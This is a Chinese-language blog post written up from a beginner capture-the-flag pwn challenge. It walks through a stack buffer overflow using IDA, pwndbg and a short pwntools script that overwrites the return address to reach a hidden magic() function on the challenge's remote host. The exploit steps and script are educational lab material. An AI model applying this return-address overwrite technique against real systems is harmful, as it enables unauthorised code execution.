从一道题看一类Pwn题:缓冲区溢出

前言

这道题可以说是pwn里面最最简单的一种,属于Hello World级别,我与它的交锋也经历了好几个月,曾经我已经快要解决掉它,但是还是没能发现其中玄机,这次终于get it!

从IDA开始!

我们首先拿到二进制文件,第一步当然先拿到IDA反编译一下,得到如图的结果:
反汇编结果
我们看到这里有三个主要的函数,我们分别另外两个函数看一下:
注意点
注意点2
注意点3
至此,我们基本已经了解这道题的思路:输入一串值,使其覆盖函数返回地址,将其变为magic()的首地址。

接着我们本地调试

现在我们已经获知了关键信息,接下来我们使用gdb下的pwndbg调试这个二进制文件。需要注意的是,这个文件需要在ubuntu环境下调试,centos环境它无法执行,从而无法调试。之前我们已经提到需要下一个断点,于是调试结果如下:
初步调试结果
我们看到程序空出了一行让我们输入东西,我们随便输入点吧(不过貌似约定俗成的都输入a),这里我们输入十个a,然后查看栈顶rsp寄存器地址开始的内存,为了保险一点,直接往下查看40个地址:
输入值后结果
可以看到,十个a的值已经被写到内存了,我们继续单步执行,看这个函数返回值有没有在内存中出现:
重大发现
我们发现这个返回地址在上面输入十个a之后的内存值中出现过,于是我们只要输入足够多的a占满与这个内存地址之间的间隙,然后把这个内存地址填充为magic()首地址:0x0040067D即可。
我们还得测试一下有没有差错,这次我们输入足够多的值(按键盘顺序,每个字母各输入4个,输入44个之后再输入两个),共46个字母,看此时的返回地址是什么:
输入46个字母内存值
查看现在的返回地址
我们发现返回地址居然还加上了后八个字节,于是我们还需要多输入一个值:0x000000000.
所以综上,payload=’a’*40+p32(0x0040067D)+p32(0x000000000).

最后一步,使用脚本

现在我们来到了最后一步,需要写脚本了。

from pwn import *
p=remote('120.78.66.77',10005)
payload='a'*40+p32(0x0040067D)+p32(0x000000000)
p.sendline(payload)
p.interactive()

我们只需要执行以上脚本即可得到远程主机使用权,顺利拿到flag:
flag
因为这里出题方设置了时限为30s,所以可能一行行敲代码会造成超时,从而没有成功,但是只要照上图,重新发送payload即可。

总结

通过解决这道题,可以说对Pwn这个东西多了一分了解,前路漫漫,还有很多难题亟待解决啊!
p32()这个函数可以把二位ASCII码变成我们从键盘打印不出来的字符,这个函数完美解决了无法输入目的字符的难题。40对应的@可以打印,但比方说我们想要输入00对应的字符,但是我们从键盘是打不出来的,而打不出来就无法写入内存。所以我们还是需要借助脚本来完成内存地址覆盖,光想靠手工输入是不太可能的。

文章作者: Leaflag
文章链接: https://www.leaflag.cn/2019/03/24/一道入门Pwn题/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeaflagのBlog